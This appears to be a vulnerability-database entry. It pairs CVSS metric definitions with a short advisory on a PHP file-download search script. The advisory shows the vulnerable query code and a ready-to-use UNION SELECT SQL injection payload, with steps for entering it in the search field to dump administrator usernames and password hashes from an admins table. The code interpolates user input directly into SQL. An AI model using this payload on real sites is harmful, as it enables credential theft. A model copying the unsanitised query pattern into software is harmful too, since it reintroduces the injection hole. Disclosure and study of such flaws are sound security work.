The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

SQL injection attack
if magic_quotes_qpc=Off
Problem is in file serching engine (download.php), witch code is in ?module/down.inc.php? file:
<code>
if($cat=='all') {
$q_ = "AND title LIKE '%$word%'";
} else {
$q_ = "AND category LIKE '%-$cat-%' AND title LIKE '%$word%'";
}
$query = "SELECT * FROM $file_b_tbl WHERE stat<>5 $q_";
$result = mysql_query($query);
</code>
In $q query we have simple SQL Injection attack (variable $word we take from ?search? field) then In field ?Where I should search? ($cat) we SET ?everywhere?. And now we need this query ($query) to attack:
$query = "SELECT * FROM file_data WHERE stat<>5 AND title LIKE '%a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/*%'";
Exploits:
SQL injection attack
-http://www.page.info/download.php
We write in ?search? field:
a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/*
We push ?Find? button and we get list of admins and users with coding passwords.
